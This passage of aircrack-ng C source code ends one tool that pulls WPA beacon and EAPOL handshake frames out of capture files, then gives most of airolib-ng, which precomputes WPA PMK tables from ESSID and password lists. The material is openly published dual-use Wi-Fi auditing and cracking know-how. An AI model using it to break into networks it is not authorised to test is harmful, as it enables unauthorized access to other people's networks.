(pcap_datalink(handle) == DLT_PRISM_HEADER) { if (pkt[7] == 0x40) { //prism54 format offset = pkt + 7; } else { offset = pkt + 4; } } while (pkt != NULL) { if (offset) o = (*offset); header.len -= o; if ((pkt[0+o] == 0x08) || (pkt[0+o] == 0x88) || (pkt[0+o] == 0x80)) { if ((pkt[1+o] & 0x03) == 0x01) { //toDS bssid = pkt + 4 + o; } else if ((pkt[1+o] & 0x03) == 0x00) { //beacon bssid = pkt + 16 + o; } else { //fromDS bssid = pkt + 10 + o; } if (pkt[0+o] == 0x80) { //beacon known = is_in_list(bsl, bssid); if (!known || known->beacon_saved) { pkt = pcap_next(handle, &header); continue; } //Saving ONE beacon per WPA network pcap_dump((u_char *) dumper, &header, pkt + o); known->beacon_saved = 0x01; } if (pkt[0+o] == 0x88) { //printf("QoS Data\n"); llc = pkt + 26 + o; } else { llc = pkt + 24 + o; } if (! memcmp(llc, "\xaa\xaa\x03\x00\x00\x00\x88\x8e", 8)) { if (is_in_list(bsl, bssid)) { // Saving EAPOL pcap_dump((u_char *) dumper, &header, pkt + o); } } } pkt = pcap_next(handle, &header); } } void process_file(const char *file) { pcap_t *handle; char errbuf[PCAP_ERRBUF_SIZE]; struct bsslist *eapol_networks = NULL; stats_files++; handle = pcap_open_offline(file, errbuf); if (! handle) { stats_noncaps++; return; } stats_caps++; if ((pcap_datalink(handle) != DLT_IEEE802_11) && (pcap_datalink(handle) != DLT_PRISM_HEADER)){ //TODO: Add support for RADIOTAP!!!! printf("Dumpfile %s is not an IEEE 802.11 capture: %s\n", file, pcap_datalink_val_to_name(pcap_datalink(handle))); pcap_close(handle); return; } printf("Scanning dumpfile %s\n", file); eapol_networks = get_eapol_bssids(handle); pcap_close(handle); if (! eapol_networks) return; //No WPA networks found, skipping to next file handle = pcap_open_offline(file, errbuf); process_eapol_networks(handle, eapol_networks); pcap_close(handle); free_bsslist(eapol_networks); } void process_directory(const char *dir, time_t begin) { DIR *curdir; struct dirent *curent; struct stat curstat; char *fullname; stats_dirs++; curdir = opendir(dir); if (! curdir) { perror("Opening directory failed"); return; } errno = 0; curent = readdir(curdir); while(curent) { if ((! strcmp("..", curent->d_name)) || (! strcmp(".", curent->d_name))) { curent = readdir(curdir); continue; } fullname = malloc(strlen(dir) + strlen(curent->d_name) + 2); memcpy(fullname, dir, strlen(dir) + 1); strcat(fullname, "/"); strcat(fullname, curent->d_name); if (stat(fullname, &curstat)) { printf("Statting %s ", fullname); perror("failed"); } else { if (S_ISREG(curstat.st_mode)) { if (curstat.st_mtime >= begin) { printf("Skipping file %s, which is newer than the crawler process (avoid loops)\n", fullname); } else { process_file(fullname); } } else if (S_ISDIR(curstat.st_mode)) { process_directory(fullname, begin); } else { printf("%s is a neither a directory nor a regular file\n", fullname); } } free(fullname); curent = readdir(curdir); } if (errno) perror("Reading directory failed"); closedir(curdir); return; } int main(int argc, char *argv[]) { time_t begin = time(NULL); //Every file newer than when crawler started is skipped (it may be the file the crawler created!) if (argc != 3) { printf("Use: %s \n", argv[0]); printf("What does it do?\n\nIt recurses the SearchDir directory\n"); printf("Opens all files in there, searching for pcap-dumpfiles\n"); printf("Filters out a single beacon and all EAPOL frames from the WPA networks in there\n"); printf("And saves them to CapFileOut.\n\n"); printf("This tool is supposed to crawl capfiles for upload to sorbo's WPA statistic server!\n"); printf("http://wpa.darkircop.org\n"); exit(0); } dumphandle = pcap_open_dead(DLT_IEEE802_11, BUFSIZ); dumper = pcap_dump_open(dumphandle, argv[2]); process_directory(argv[1], begin); pcap_dump_close(dumper); pcap_close(dumphandle); printf("DONE. Statistics:\n"); printf("Files scanned: %12d\n", stats_files); printf("Directories scanned:%12d\n", stats_dirs); printf("Dumpfiles found: %12d\n", stats_caps); printf("Skipped files: %12d\n", stats_noncaps); printf("Packets processed: %12d\n", stats_packets); printf("EAPOL packets: %12d\n", stats_eapols); printf("WPA Network count: %12d\n", stats_networks); return 0; }aircrack-ng-1.2-beta3/src/airolib-ng.c0000644000000000000000000010020212004011237016166 0ustar rootroot/* * A tool to compute and manage PBKDF2 values as used in WPA-PSK and WPA2-PSK * * Copyright (C) 2007; 2008, 2009 ebfe * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include #include #include #include #include #include #include #include #include #include #include #include "aircrack-ng.h" #include "crypto.h" #ifdef HAVE_REGEXP #include #endif #include "version.h" #define IMPORT_ESSID "essid" #define IMPORT_PASSWD "passwd" #define IMPORT_COWPATTY "cowpatty" extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); void print_help(const char * msg) { printf("\n" " %s - (C) 2007, 2008, 2009 ebfe\n" " http://www.aircrack-ng.org\n" "\n" " Usage: airolib-ng [options]\n" "\n" " Operations:\n" "\n" " --stats : Output information about the database.\n" " --sql : Execute specified SQL statement.\n" " --clean [all] : Clean the database from old junk. 'all' will also \n" " reduce filesize if possible and run an integrity check.\n" " --batch : Start batch-processing all combinations of ESSIDs\n" " and passwords.\n" " --verify [all] : Verify a set of randomly chosen PMKs.\n" " If 'all' is given, all invalid PMK will be deleted.\n" "\n" " --import [essid|passwd] :\n" " Import a text file as a list of ESSIDs or passwords.\n" " --import cowpatty :\n" " Import a cowpatty file.\n" "\n" " --export cowpatty :\n" " Export to a cowpatty file.\n" "\n", getVersion("Airolib-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)); if (msg && strlen(msg) > 0) { printf("%s", msg); puts(""); } } void sql_error(sqlite3* db) { fprintf(stderr, "Database error: %s\n", sqlite3_errmsg(db)); } int sql_exec_cb(sqlite3* db, const char *sql, void* callback, void* cb_arg) { #ifdef SQL_DEBUG printf(sql); printf("\n"); fflush(stdout); #endif int rc; char *zErrMsg = 0; char looper[4] = {'|','/','-','\\'}; int looperc = 0; int waited = 0; while (1) { rc = sqlite3_exec(db,sql,callback,cb_arg,&zErrMsg); if (rc == SQLITE_LOCKED || rc == SQLITE_BUSY) { fprintf(stdout,"Database is locked or busy. Waiting %is ... %1c \r",++waited, looper[looperc++ % sizeof(looper)]); fflush(stdout); sleep(1); } else { if (rc != SQLITE_OK) { fprintf(stderr, "SQL error. %s\n", zErrMsg); sqlite3_free(zErrMsg); } if (waited != 0) printf("\n\n"); return rc; } } } // execute sql fast and hard. int sql_exec(sqlite3* db, const char *sql) { return sql_exec_cb(db,sql,0,0); } // wrapper for sqlite3_step which retries executing statements if the db returns SQLITE_BUSY or SQLITE_LOCKED int sql_step(sqlite3_stmt* stmt, int wait) { int rc; char looper[4] = {'|','/','-','\\'}; int looperc = 0; int waited = 0; while (1) { rc = sqlite3_step(stmt); if (rc == SQLITE_LOCKED || rc == SQLITE_BUSY) { if (wait != 0) { fprintf(stdout,"Database is locked or busy. Waiting %is ... %1c \r",++waited, looper[looperc]); fflush(stdout); wait--; looperc = looperc+1 % sizeof(looper); sleep(1); } else { fprintf(stderr,"Database was locked or busy while getting results. I've given up.\n"); return rc; } } else { if (waited != 0) printf("\n\n"); return rc; } } } // wrapper for sqlite3_prepare_v2 which retries creating statements if the db returns SQLITE_BUSY or SQLITE_LOCKED int sql_prepare(sqlite3 *db, const char *sql, sqlite3_stmt **ppStmt, int wait) { #ifdef SQL_DEBUG printf(sql); printf("\n"); fflush(stdout); #endif int rc; char looper[4] = {'|','/','-','\\'}; int looperc = 0; int waited = 0; while (1) { rc = sqlite3_prepare_v2(db,sql,-1,ppStmt,NULL); if (rc == SQLITE_LOCKED || rc == SQLITE_BUSY) { if (wait != 0) { fprintf(stdout,"Database is locked or busy. Waiting %is ... %1c \r", ++waited, looper[looperc]); fflush(stdout); wait--; looperc = looperc+1 % sizeof(looper); sleep(1); } else { fprintf(stderr,"Database was locked or busy while creating statement. I've given up.\n"); return rc; } } else { if (waited != 0) printf("\n\n"); return rc; } } } // generic function to dump a resultset including column names to stdout int stmt_stdout(sqlite3_stmt* stmt, int* rowcount) { int ccount; int rcount = 0; int rc; if (stmt == 0 || (ccount = sqlite3_column_count(stmt)) == 0) { return sql_step(stmt,0); } int i = 0; do { printf("%s", sqlite3_column_name(stmt,i++)); if (i < ccount) printf("\t"); } while (i < ccount); printf("\n"); while ((rc = sql_step(stmt,0)) == SQLITE_ROW) { i = 0; rcount++; do { printf("%s", (char *)sqlite3_column_text(stmt,i++)); if (i < ccount) printf("\t"); } while (i < ccount); printf("\n"); } if (rowcount != NULL) *rowcount=rcount; return rc; } // generic function to dump the output of a sql statement to stdout. // will return sqlite error codes but also handle (read: ignore) them itself int sql_stdout(sqlite3* db, const char* sql, int* rowcount) { int rc; sqlite3_stmt *stmt; rc = sql_prepare(db,sql,&stmt,-1); if (rc != SQLITE_OK) { sql_error(db); return rc; } rc = stmt_stdout(stmt,rowcount); sqlite3_finalize(stmt); if (rc == SQLITE_DONE) { if (sqlite3_changes(db) > 0) fprintf(stdout,"Query done. %i rows affected.",sqlite3_changes(db)); } else { sql_error(db); } printf("\n"); return rc; } // retrieve a single int value using a sql query. // returns 0 if something goes wrong. beware! create your own statement if you need error handling. int query_int(sqlite3* db, const char* sql) { sqlite3_stmt *stmt; int rc; int ret; rc = sql_prepare(db,sql,&stmt,-1); if (rc != SQLITE_OK || stmt == 0 || sqlite3_column_count(stmt) == 0) { sql_error(db); ret = 0; } else { rc = sql_step(stmt,-1); if (rc == SQLITE_ROW) { ret = sqlite3_column_int(stmt,0); } else { #ifdef SQL_DEBUG printf("DEBUG: query_int() returns with sql_step() != SQLITE_ROW\n"); #endif ret = 0; } } sqlite3_finalize(stmt); return ret; } // throw some statistics about the db to stdout. // if precise!=0 the stats will be queried nail by nail which can be slow void show_stats(sqlite3* db, int precise) { sql_exec(db,"BEGIN;"); int essids = query_int(db, "SELECT COUNT(*) FROM essid;"); int passwds = query_int(db,"SELECT COUNT(*) FROM passwd;"); int done; if (precise != 0) { printf("Determining precise statistics may be slow...\n"); done = query_int(db, "SELECT COUNT(*) FROM essid,passwd INNER JOIN pmk ON pmk.essid_id = essid.essid_id AND pmk.passwd_id = passwd.passwd_id"); } else { done = query_int(db, "SELECT COUNT(*) FROM pmk;"); } fprintf(stdout,"There are %i ESSIDs and %i passwords in the database. %i out of %i possible combinations have been computed (%g%%).\n\n", essids, passwds, done, essids*passwds, essids*passwds > 0 ? ((double)done*100)/(essids*passwds) : 0); if (precise != 0) { sql_stdout(db, "select essid.essid AS ESSID, essid.prio AS Priority, round(count(pmk.essid_id) * 100.0 / count(*),2) AS Done from essid,passwd left join pmk on pmk.essid_id = essid.essid_id and pmk.passwd_id = passwd.passwd_id group by essid.essid_id;",0); } else { sql_stdout(db, "SELECT essid.essid AS ESSID, essid.prio AS Priority, ROUND(COUNT(pmk.essid_id) * 100.0 / (SELECT COUNT(*) FROM passwd),2) AS Done FROM essid LEFT JOIN pmk ON pmk.essid_id = essid.essid_id GROUP BY essid.essid_id;",0); } sql_exec(db,"COMMIT;"); } /* batch-process all combinations of ESSIDs and PASSWDs. this function may be called only once per db at the same time, yet multiple processes can batch-process a single db. don't modify this function's layout or it's queries without carefully considering speed, efficiency and concurrency. */ void batch_process(sqlite3* db) { int rc; int cur_essid = 0; struct timeval starttime; struct timeval curtime; gettimeofday(&starttime,NULL); int rowcount = 0; char *sql; if (sql_exec(db, "CREATE TEMPORARY TABLE temp.buffer (wb_id integer, essid_id integer, passwd_id integer, essid text, passwd text, pmk blob);") != SQLITE_OK) { fprintf(stderr,"Failed to create buffer for batch processing.\n"); return; } // may fail - thats ok cur_essid = query_int(db,"SELECT essid_id FROM workbench LIMIT 1;"); while(1) { //loop over everything do { //loop over ESSID do { //loop over workbench sql_exec(db,"DELETE FROM temp.buffer;"); // select some work from the workbench into our own buffer // move lockid ahead so other clients won't get those rows any time soon sql_exec(db,"BEGIN EXCLUSIVE;"); sql_exec(db,"INSERT INTO temp.buffer (wb_id,essid_id,passwd_id,essid,passwd) SELECT wb_id, essid.essid_id,passwd.passwd_id,essid,passwd FROM workbench CROSS JOIN essid ON essid.essid_id = workbench.essid_id CROSS JOIN passwd ON passwd.passwd_id = workbench.passwd_id ORDER BY lockid LIMIT 25000;"); sql_exec(db,"UPDATE workbench SET lockid=lockid+1 WHERE wb_id IN (SELECT wb_id FROM buffer);"); sql_exec(db,"COMMIT;"); rc = query_int(db,"SELECT COUNT(*) FROM buffer;"); if (rc > 0) { // now calculate all the PMKs with a single statement. // remember the update won't lock the db sql_exec(db,"UPDATE temp.buffer SET pmk = PMK(essid,passwd);"); // commit work and delete package from workbench sql_exec(db,"BEGIN EXCLUSIVE;"); sql_exec(db,"INSERT OR IGNORE INTO pmk (essid_id,passwd_id,pmk) SELECT essid_id,passwd_id,pmk FROM temp.buffer"); sql_exec(db,"DELETE FROM workbench WHERE wb_id IN (SELECT wb_id FROM buffer);"); sql_exec(db,"COMMIT;"); rowcount += rc; gettimeofday(&curtime,NULL); int timediff = curtime.tv_sec - starttime.tv_sec; fprintf(stdout,"\rComputed %i PMK in %i seconds (%i PMK/s, %i in buffer). ",rowcount,timediff, timediff > 0 ? rowcount / timediff : rowcount, query_int(db,"SELECT COUNT(*) FROM workbench;")); fflush(stdout); } } while (rc > 0); sql = sqlite3_mprintf("INSERT OR IGNORE INTO workbench (essid_id,passwd_id) SELECT essid.essid_id,passwd.passwd_id FROM passwd CROSS JOIN essid LEFT JOIN pmk ON pmk.essid_id = essid.essid_id AND pmk.passwd_id = passwd.passwd_id WHERE essid.essid_id = %i AND pmk.essid_id IS NULL LIMIT 250000;",cur_essid); sql_exec(db,sql); sqlite3_free(sql); } while (query_int(db,"SELECT COUNT(*) FROM workbench INNER JOIN essid ON essid.essid_id = workbench.essid_id INNER JOIN passwd ON passwd.passwd_id = workbench.passwd_id;") > 0); cur_essid = query_int(db,"SELECT essid.essid_id FROM essid LEFT JOIN pmk USING (essid_id) WHERE VERIFY_ESSID(essid.essid) == 0 GROUP BY essid.essid_id HAVING COUNT(pmk.essid_id) < (SELECT COUNT(*) FROM passwd) ORDER BY essid.prio,COUNT(pmk.essid_id),RANDOM() LIMIT 1;"); if (cur_essid == 0) { printf("All ESSID processed.\n\n"); sqlite3_close(db); exit(0); /* printf("No free ESSID found. Will try determining new ESSID in 5 minutes...\n"); sleep(60*5); // slower, yet certain. should never be any better than the above, unless users fumble with the db. cur_essid = query_int(db,"SELECT essid.essid_id FROM essid,passwd LEFT JOIN pmk ON pmk.essid_id = essid.essid_id AND pmk.passwd_id = passwd.passwd_id WHERE pmk.essid_id IS NULL LIMIT 1;"); if (cur_essid == 0) { printf("No free ESSID found. Sleeping 25 additional minutes...\n"); sleep(60*25); } */ } } //never reached sql_exec(db,"DROP TABLE temp.buffer;"); } // Verify an ESSID. Returns 1 if ESSID is invalid. //TODO More things to verify? Invalid chars? int verify_essid(char* essid) { return essid == NULL || strlen(essid) < 1 || strlen(essid) > 32; } // sql function which checks a given ESSID void sql_verify_essid(sqlite3_context* context, int argc, sqlite3_value** values) { char* essid = (char*)sqlite3_value_text(values[0]); if (argc != 1 || essid == 0) { fprintf(stderr,"SQL function VERIFY_ESSID called with invalid arguments"); return; } sqlite3_result_int(context,verify_essid(essid)); } int verify_passwd(char* passwd) { return passwd == NULL || strlen(passwd) < 8 || strlen(passwd) > 63; } void sql_verify_passwd(sqlite3_context* context, int argc, sqlite3_value** values) { char* passwd = (char*)sqlite3_value_text(values[0]); if (argc != 1 || passwd == 0) { fprintf(stderr,"SQL function VERIFY_PASSWD called with invalid arguments"); return; } sqlite3_result_int(context,verify_passwd(passwd)); } // clean the db, analyze, maybe vacuum and check void vacuum(sqlite3* db, int deep) { printf("Deleting invalid ESSIDs and passwords...\n"); sql_exec(db, "DELETE FROM essid WHERE VERIFY_ESSID(essid) != 0;"); sql_exec(db, "DELETE FROM passwd WHERE VERIFY_PASSWD(passwd) != 0"); printf("Deleting unreferenced PMKs...\n"); sql_exec(db, "DELETE FROM pmk WHERE essid_id NOT IN (SELECT essid_id FROM essid)"); sql_exec(db, "DELETE FROM pmk WHERE passwd_id NOT IN (SELECT passwd_id FROM passwd)"); printf("Analysing index structure...\n"); sql_exec(db, "ANALYZE;"); if (deep != 0) { printf("Vacuum-cleaning the database. This could take a while...\n"); sql_exec(db, "VACUUM;"); printf("Checking database integrity...\n"); sql_stdout(db, "PRAGMA integrity_check;",0); } printf("Done.\n"); } // verify PMKs. If complete==1 we check all PMKs // returns 0 if ok, !=0 otherwise void verify(sqlite3* db, int complete) { if (complete != 1) { printf("Checking ~10 000 randomly chosen PMKs...\n"); // this is faster than 'order by random()'. we need the subquery to trick the optimizer... sql_stdout(db,"select s.essid AS ESSID, COUNT(*) AS CHECKED, CASE WHEN MIN(s.pmk == PMK(essid,passwd)) == 0 THEN 'FAILED' ELSE 'OK' END AS STATUS FROM (select distinct essid,passwd,pmk FROM pmk INNER JOIN passwd ON passwd.passwd_id = pmk.passwd_id INNER JOIN essid ON essid.essid_id = pmk.essid_id WHERE abs(random() % (select count(*) from pmk)) < 10000) AS s GROUP BY s.essid;",0); } else { printf("Checking all PMKs. This could take a while...\n"); sql_stdout(db,"select essid AS ESSID,passwd AS PASSWORD,HEX(pmk) AS PMK_DB, HEX(PMK(essid,passwd)) AS CORRECT FROM pmk INNER JOIN passwd ON passwd.passwd_id = pmk.passwd_id INNER JOIN essid ON essid.essid_id = pmk.essid_id WHERE pmk.pmk != PMK(essid,passwd);",0); } } // callback for export_cowpatty. takes the passwd and pmk from the query and writes another fileentry. int sql_exportcow(void* arg, int ccount, char** values, char** columnnames) { FILE *f = (FILE*)arg; struct hashdb_rec rec; if (ccount != 2 || values[0] == NULL || values[1] == NULL || fileno(f) == -1) { printf("Illegal call to sql_exportcow.\n"); return -1; } if (columnnames) {} //XXX char* passwd = (char*)values[0]; memcpy(rec.pmk,values[1],sizeof(rec.pmk)); rec.rec_size = strlen(passwd) + sizeof(rec.pmk)+ sizeof(rec.rec_size); int rc = fwrite(&rec.rec_size,sizeof(rec.rec_size),1,f); rc += fwrite(passwd, strlen(passwd),1,f); rc += fwrite(rec.pmk, sizeof(rec.pmk), 1, f); if (rc != 3) { printf("Error while writing to export file. Query aborted...\n"); return 1; } fflush(f); return 0; } // export to a cowpatty file void export_cowpatty(sqlite3* db, char* essid, char* filename) { struct hashdb_head filehead; memset(&filehead, 0, sizeof(filehead)); FILE *f = NULL; if (access(filename, F_OK)==0) { printf("The file already exists and I won't overwrite it.\n"); return; } // ensure that the essid is found in the db and has at least one entry in the pmk table. char *sql = sqlite3_mprintf("SELECT COUNT(*) FROM (SELECT passwd, pmk FROM essid,passwd INNER JOIN pmk ON pmk.passwd_id = passwd.passwd_id AND pmk.essid_id = essid.essid_id WHERE essid.essid = '%q' LIMIT 1);",essid); int rc = query_int(db,sql); sqlite3_free(sql); if (rc == 0) { printf("There is no such ESSID in the database or there are no PMKs for it.\n"); return; } memcpy(filehead.ssid, essid,strlen(essid)); filehead.ssidlen = strlen(essid); filehead.magic = GENPMKMAGIC; f = fopen(filename, "w"); if (f == NULL || fwrite(&filehead, sizeof(filehead), 1, f) != 1) { printf("Couldn't open the export file for writing.\n"); return; } // as we have an open filehandle, we now query the db to return passwds and associated PMKs for that essid. we pass the filehandle to a callback function which will write the rows to the file. sql = sqlite3_mprintf("SELECT passwd, pmk FROM essid,passwd INNER JOIN pmk ON pmk.passwd_id = passwd.passwd_id AND pmk.essid_id = essid.essid_id WHERE essid.essid = '%q'",essid); printf("Exporting...\n"); rc = sql_exec_cb(db,sql,&sql_exportcow,f); sqlite3_free(sql); if (rc != SQLITE_OK) { printf("There was an error while exporting.\n"); } fclose(f); printf("Done.\n"); } // import a cowpatty file int import_cowpatty(sqlite3* db, char* filename) { struct hashdb_head filehead; struct hashdb_rec rec; FILE *f = NULL; int rc; sqlite3_stmt *stmt; char* sql; int essid_id; int wordlength; char passwd[63+1]; if (strcmp(filename,"-") == 0) { f = stdin; } else { f = fopen(filename, "r"); } if (f == NULL || fread(&filehead, sizeof(filehead),1,f) != 1) { printf("Couldn't open the import file for reading.\n"); return 0; } else if (filehead.magic != GENPMKMAGIC) { printf("File doesn't seem to be a cowpatty file.\n"); fclose(f); return 0; } else if (verify_essid((char *)filehead.ssid) != 0) { printf("The file's ESSID is invalid.\n"); fclose(f); return 0; } printf("Reading header...\n"); //We need protection so concurrent transactions can't smash the ID-references sql_exec(db,"BEGIN;"); sql = sqlite3_mprintf("INSERT OR IGNORE INTO essid (essid) VALUES ('%q');",filehead.ssid); sql_exec(db,sql); sqlite3_free(sql); //since there is only one essid per file, we can determine it's ID now sql = sqlite3_mprintf("SELECT essid_id FROM essid WHERE essid = '%q'", filehead.ssid); essid_id = query_int(db,sql); sqlite3_free(sql); if (essid_id == 0) { fclose(f); sql_exec(db,"ROLLBACK;"); printf("ESSID couldn't be inserted. I've given up.\n"); return 0; } sql = sqlite3_mprintf("CREATE TEMPORARY TABLE import (passwd text, pmk blob);", essid_id); sql_exec(db,sql); sqlite3_free(sql); sql_prepare(db,"INSERT INTO import (passwd,pmk) VALUES (@pw,@pmk)",&stmt,-1); printf("Reading...\n"); while ((rc = fread(&rec.rec_size, sizeof(rec.rec_size), 1, f)) == 1) { wordlength = abs(rec.rec_size) - (sizeof(rec.pmk) + sizeof(rec.rec_size)); //prevent out of bounds writing (sigsegv guaranteed) but don't skip the whole file if wordlength < 8 if (wordlength > 0 && wordlength < (int) sizeof(passwd)) { passwd[wordlength] = 0; rc += fread(passwd, wordlength, 1, f); if (rc == 2) rc += fread(&rec.pmk, sizeof(rec.pmk), 1, f); } if (rc != 3) { fprintf(stdout,"Error while reading record (%i).\n",rc); sqlite3_finalize(stmt); if (db == NULL) { printf("omg"); fflush(stdout); } sql_exec(db, "ROLLBACK;"); fclose(f); return 1; } if (verify_passwd(passwd) == 0) { sqlite3_bind_text(stmt,1,passwd, strlen(passwd),SQLITE_TRANSIENT); sqlite3_bind_blob(stmt,2,&rec.pmk, sizeof(rec.pmk),SQLITE_TRANSIENT); if (sql_step(stmt,-1) == SQLITE_DONE) { sqlite3_reset(stmt); } else { printf("Error while inserting record into database.\n"); sqlite3_finalize(stmt); sql_exec(db, "ROLLBACK;"); fclose(f); return 1; } } else { fprintf(stdout,"Invalid password %s will not be imported.\n",passwd); } } sqlite3_finalize(stmt); if (!feof(f)) { printf("Error while reading file.\n"); sql_exec(db,"ROLLBACK;"); fclose(f); return 1; } printf("Updating references...\n"); sql_exec(db, "INSERT OR IGNORE INTO passwd (passwd) SELECT passwd FROM import;"); //TODO Give the user a choice to either INSERT OR UPDATE or INSERT OR IGNORE printf("Writing...\n"); sql = sqlite3_mprintf("INSERT OR IGNORE INTO pmk (essid_id,passwd_id,pmk) SELECT %i,passwd.passwd_id,import.pmk FROM import INNER JOIN passwd ON passwd.passwd = import.passwd;",essid_id); sql_exec(db,sql); sqlite3_free(sql); sql_exec(db,"COMMIT;"); fclose(f); return 1; } int import_ascii(sqlite3* db, const char* mode, const char* filename) { FILE *f = NULL; sqlite3_stmt *stmt; char buffer[63+1]; int imported=0; int ignored=0; int imode=0; if (strcasecmp(mode,IMPORT_ESSID) == 0) { imode = 0; } else if (strcasecmp(mode,IMPORT_PASSWD) == 0) { imode = 1; } else { printf("Specify either 'essid' or 'passwd' as import mode.\n"); return 0; } if (strcmp(filename,"-") == 0) { f = stdin; } else { f = fopen(filename, "r"); } if (f == NULL) { printf("Could not open file/stream for reading.\n"); return 0; } char* sql = sqlite3_mprintf("INSERT OR IGNORE INTO %q (%q) VALUES (@v);",mode,mode); sql_prepare(db,sql,&stmt,-1); sqlite3_free(sql); sql_exec(db, "BEGIN;"); printf("Reading file...\n"); while (fgets(buffer, sizeof(buffer), f) != 0) { int i = strlen(buffer); if (buffer[i-1] == '\n') buffer[--i] = '\0'; if (buffer[i-1] == '\r') buffer[--i] = '\0'; imported++; if ((imode == 0 && verify_essid(buffer)==0) || (imode == 1 && verify_passwd(buffer)==0)) { sqlite3_bind_text(stmt,1,buffer, strlen(buffer),SQLITE_TRANSIENT); if (sql_step(stmt,-1) == SQLITE_DONE) { sqlite3_reset(stmt); } else { printf("Error while inserting record into database.\n"); sql_exec(db, "ROLLBACK;"); sqlite3_finalize(stmt); fclose(f); return 1; } } else { ignored++; } if (imported % 1000 == 0) { fprintf(stdout,"%i lines read, %i invalid lines ignored.\r",imported,ignored); fflush(stdout); } } sqlite3_finalize(stmt); if (!feof(f)) { printf("Error while reading file.\n"); sql_exec(db,"ROLLBACK;"); fclose(f); return 1; } fclose(f); printf("Writing...\n"); sql_exec(db,"COMMIT;"); printf("Done.\n"); return 1; } // sql function. takes ESSID and PASSWD, gives PMK void sql_calcpmk(sqlite3_context* context, int argc, sqlite3_value** values) { unsigned char pmk[40]; char* passwd = (char*)sqlite3_value_blob(values[1]); char* essid = (char*)sqlite3_value_blob(values[0]); if (argc < 2 || passwd == 0 || essid == 0) { sqlite3_result_error(context, "SQL function PMK() called with invalid arguments.\n", -1); return; } calc_pmk(passwd,essid,pmk); sqlite3_result_blob(context,pmk,32,SQLITE_TRANSIENT); } #ifdef HAVE_REGEXP void sqlite_regexp(sqlite3_context* context, int argc, sqlite3_value** values) { int ret; regex_t regex; char* reg = (char*)sqlite3_value_text(values[0]); char* text = (char*)sqlite3_value_text(values[1]); if ( argc != 2 || reg == 0 || text == 0) { sqlite3_result_error(context, "SQL function regexp() called with invalid arguments.\n", -1); return; } ret = regcomp(®ex, reg, REG_EXTENDED | REG_NOSUB); if ( ret != 0 ) { sqlite3_result_error(context, "error compiling regular expression", -1); return; } ret = regexec(®ex, text , 0, NULL, 0); regfree(®ex); sqlite3_result_int(context, (ret != REG_NOMATCH)); } #endif int initDataBase(const char * filename, sqlite3 ** db) { //int rc = sqlite3_open_v2(filename, &db, SQLITE_OPEN_READWRITE | SQLITE_OPEN_CREATE, NULL); int rc = sqlite3_open(filename, &(*db)); if (rc != SQLITE_OK) { sql_error(*db); sqlite3_close(*db); // May be usefull later return rc; } sql_exec(*db, "create table essid (essid_id integer primary key autoincrement, essid text, prio integer default 64);"); sql_exec(*db, "create table passwd (passwd_id integer primary key autoincrement, passwd text);"); sql_exec(*db, "create table pmk (pmk_id integer primary key autoincrement, passwd_id int, essid_id int, pmk blob);"); sql_exec(*db, "create table workbench (wb_id integer primary key autoincrement, essid_id integer, passwd_id integer, lockid integer default 0);"); sql_exec(*db, "create index lock_lockid on workbench (lockid);"); sql_exec(*db, "create index pmk_pw on pmk (passwd_id);"); sql_exec(*db, "create unique index essid_u on essid (essid);"); sql_exec(*db, "create unique index passwd_u on passwd (passwd);"); sql_exec(*db, "create unique index ep_u on pmk (essid_id,passwd_id);"); sql_exec(*db, "create unique index wb_u on workbench (essid_id,passwd_id);"); sql_exec(*db, "CREATE TRIGGER delete_essid DELETE ON essid BEGIN DELETE FROM pmk WHERE pmk.essid_id = OLD.essid_id; DELETE FROM workbench WHERE workbench.essid_id = OLD.essid_id; END;"); sql_exec(*db, "CREATE TRIGGER delete_passwd DELETE ON passwd BEGIN DELETE FROM pmk WHERE pmk.passwd_id = OLD.passwd_id; DELETE FROM workbench WHERE workbench.passwd_id = OLD.passwd_id; END;"); #ifdef SQL_DEBUG sql_exec(*db, "begin;"); sql_exec(*db, "insert into essid (essid,prio) values ('e',random())"); sql_exec(*db, "insert into passwd (passwd) values ('p')"); sql_exec(*db, "insert into essid (essid,prio) select essid||'a',random() from essid;"); sql_exec(*db, "insert into essid (essid,prio) select essid||'b',random() from essid;"); sql_exec(*db, "insert into essid (essid,prio) select essid||'c',random() from essid;"); sql_exec(*db, "insert into essid (essid,prio) select essid||'d',random() from essid;"); sql_exec(*db, "insert into passwd (passwd) select passwd||'a' from passwd;"); sql_exec(*db, "insert into passwd (passwd) select passwd||'b' from passwd;"); sql_exec(*db, "insert into passwd (passwd) select passwd||'c' from passwd;"); sql_exec(*db, "insert into passwd (passwd) select passwd||'d' from passwd;"); sql_exec(*db, "insert into passwd (passwd) select passwd||'e' from passwd;"); sql_exec(*db, "insert into pmk (essid_id,passwd_id) select essid_id,passwd_id from essid,passwd limit 1000000;"); sql_exec(*db,"commit;"); #endif sqlite3_close(*db); printf("Database <%s> successfully created\n", filename); return 0; } int check_for_db(sqlite3 ** db, const char * filename, int can_create, int readonly) { struct stat dbfile; int rc; int accessflags = R_OK | W_OK; if (readonly) accessflags = R_OK; // Check if DB exist. If it does not, initialize it if (access(filename, accessflags)) { printf("Database <%s> does not already exist, ", filename); if (can_create) { printf("creating it...\n"); rc = initDataBase(filename, db); if (rc) { printf("Error initializing database (return code: %d), exiting...\n", rc); return 1; } } else { printf("exiting ...\n"); return 1; } } else { if (stat(filename, &dbfile)) { perror("stat()"); return 1; } if ((S_ISREG(dbfile.st_mode) && !S_ISDIR(dbfile.st_mode)) == 0) { printf("\"%s\" does not appear to be a file.\n", filename); return 1; } } rc = sqlite3_open(filename, &(*db)); if(rc) { sql_error(*db); sqlite3_close(*db); return 1; } // TODO: Sanity check: Table definitions, index // register new functions to 